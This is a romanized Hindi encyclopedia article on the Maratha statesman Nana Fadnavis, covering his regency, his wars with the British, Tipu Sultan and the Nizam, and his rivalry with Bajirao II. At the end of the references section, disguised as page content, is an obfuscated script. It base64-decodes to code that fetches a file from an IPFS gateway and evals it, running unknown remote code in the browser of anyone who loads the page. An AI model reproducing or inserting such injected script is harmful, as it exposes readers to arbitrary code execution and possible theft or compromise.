नाना फड़नवीस
nana ph danavis
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| janm | 12 pharavari 1742 ee. |
| mrityu tithi | 13 march 1800 ee. |
| prasiddhi | nana ph danavis apani chaturaee aur buddhimatta ke liye bahut prasiddh tha. |
| yuddh | 1775 se 1783 ee. tak aangrezoan ke viruddh pratham maratha yuddh tatha 1784 ee. mean nana ph danavis ne maisoor ke shasak tipoo sultan se loha liya tha. |
| shasan kal | 1774 ee.-1800 ee. |
| sanbandhit lekh | shivaji, shahaji bhoansale, shambhaji peshava, balaji vishvanath, bajirav pratham, bajirav dvitiy, rajaram shivaji, gvaliyar, daulatarav shinde, salabaee ki sandhi, tipoo sultan, maisoor yuddh, aangl-maratha yuddh, panipat yuddh |
| any janakari | rajy mean virodhiyoan ke hote hue bhi nana ph danavis apani chaturaee se samast virodhoan ke bavajood apani satta banaye rakhane mean saphal raha. 1775 ee. se 1783 ee. tak usane aangrezoan ke viruddh pratham maratha yuddh ka sanchalan kiya. salabaee ki sandhi se is yuddh ki samapti huee thi. |
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nana ph danavis (aangrezi: Nana Fadnavis, janm: 12 pharavari 1742 ee.- mrityu: 13 march 1800 ee.) ek maratha rajaneta tha, jo panipat ke tritiy yuddh ke samay peshava ki seva mean niyukt tha. vah apani chaturaee aur buddhimatta ke liye bahut prasiddh hai. 1800 ee. mean nana ph danavis ki mrityu ho gee thi. nana ph danavis ne raghunatharav (raghova) ki svayan peshava banane ki sari koshishean nakam kar di thian. nana ph danavis ka tipoo sultan se bhi yuddh hua tha. usane maratha samrajy ki shakti ko ek chhatr ke niche ekatr karane ki saphal cheshta ki thi. peshava shasan ke dauran nana ph danavis maratha samrajy ke prabhavashali mantri v kootanitijn the. yooropiyoan dvara unhean maratha maikiyaveli (suprasiddh italavi kootanitijn nikolo maikiyaveli par adharit nam) kaha jata tha.
maratha rajy ka sanchalan
nana ph danavis yuddhabhoomi se jivit laut aya tha. isake bad 1773 ee. mean narayanarav peshava ki hatya kara kar usake chacha raghova ne jab svayan gaddi hathiyane ka prayatn kiya, to usane usaka virodh kiya. nana ph danavis ne narayanarav ke maranoparant utpann putr madhavarav narayan ko 1774 ee. mean peshava ki gaddi par baithakar raghova ki chal viphal kar di. nana ph danavis hi alpavayask peshava ka mukhyamantri bana aur 1774 se 1800 ee. mean mrityuparyant maratha rajy ka sanchalan karata raha. kintu usaki sthiti nishkantak n thi, kyoanki any maratha saradar, visheshakar mahadaji shinde usake virodhi the.
nana ph danavis ki chaturaee
rajy mean itane virodhi hote hue bhi nana ph danavis apani chaturaee se samast virodhoan ke bavajood apani satta banaye rakhane mean saphal raha. 1775 se 1783 ee. tak usane aangrezoan ke viruddh pratham maratha yuddh ka sanchalan kiya. salabaee ki sandhi se is yuddh ki samapti huee thi. ukt sandhi ke anusar raghoba ko peanshan de gee aur marathoan ko sashti ke atirikt any kisi bhoobhag se hath nahian dhona p da. 1784 ee. mean hi nana ph danavis ne maisoor ke shasak tipoo sultan se loha liya aur kuchh aise ilake pun: prapt kar liye, jinhean tipoo ne balapoorvak apane adhikar mean kar liya tha. 1789 ee. mean tipoo sultan ke viruddh usane aangrezoan aur nizam ka sath diya tatha tritiy maisoor yuddh mean bhi bhag liya. jisake phalasvaroop marathoan ko tipoo ke rajy ka ek bhoobhag prapt hua.
nishkantak rajy sanchalan
1794 ee. mean mahadaji shinde ki mrityu ho jane se nana ph danavis ka ek prabal pratidvandvi uth gaya aur usake bad nana ph danavis ne nirvirodh maratha rajaniti ka sanchalan kiya. 1795 ee. mean usane maratha sangh ki sammilit senaoan ka nizam ke viruddh sanchalan kiya aur kharda ke yuddh mean nizam ki parajay huee. phalasvaroop nizam ko apane rajy ke kee mahattvapoorn bhoobhag marathoan ko dene p de.
maratha shakti ka vibhajan
1796 ee. mean nana ph danavis ke kathor niyantran se tang akar madhavarav narayan peshava ne atmahatya kar li. uparant raghova ka putr bajirav dvitiy peshava bana, jo prarambh se hi nana ph danavis ka prabal virodhi tha. is prakar brahman peshava aur usake brahman mukhyamantri mean pratidvandvita chal p di. donoan mean se kisi mean bhi sainik kshamata nahian thi, kintu donoan hi rajaniti ke chatur evan dhoort khila di the. donoan ke paraspar sh dayantr se marathoan ka do virodhi shiviroan mean vibhajan ho gaya, jisase peshava ki sthiti aur bhi kamazor p d gee. isake bavajood nana ph danavis ajivan maratha sangh ko ek sootr mean abaddh rakhane mean samarth raha.
mrityu
13 march, 1800 ee. mean nana ph danavis ki mrityu ho gee aur isake sath hi marathoan ki samast kshamata, chaturata aur soojhaboojh ka bhi aant ho gaya.
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tika tippani aur sandarbh
bhattachary, sachchidanand bharatiy itihas kosh, dvitiy sanskaran-1989 (hindi), bharat diskavari pustakalay: uttar pradesh hindi sansthan, 220.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
varnamala kramanusar lekh khoj
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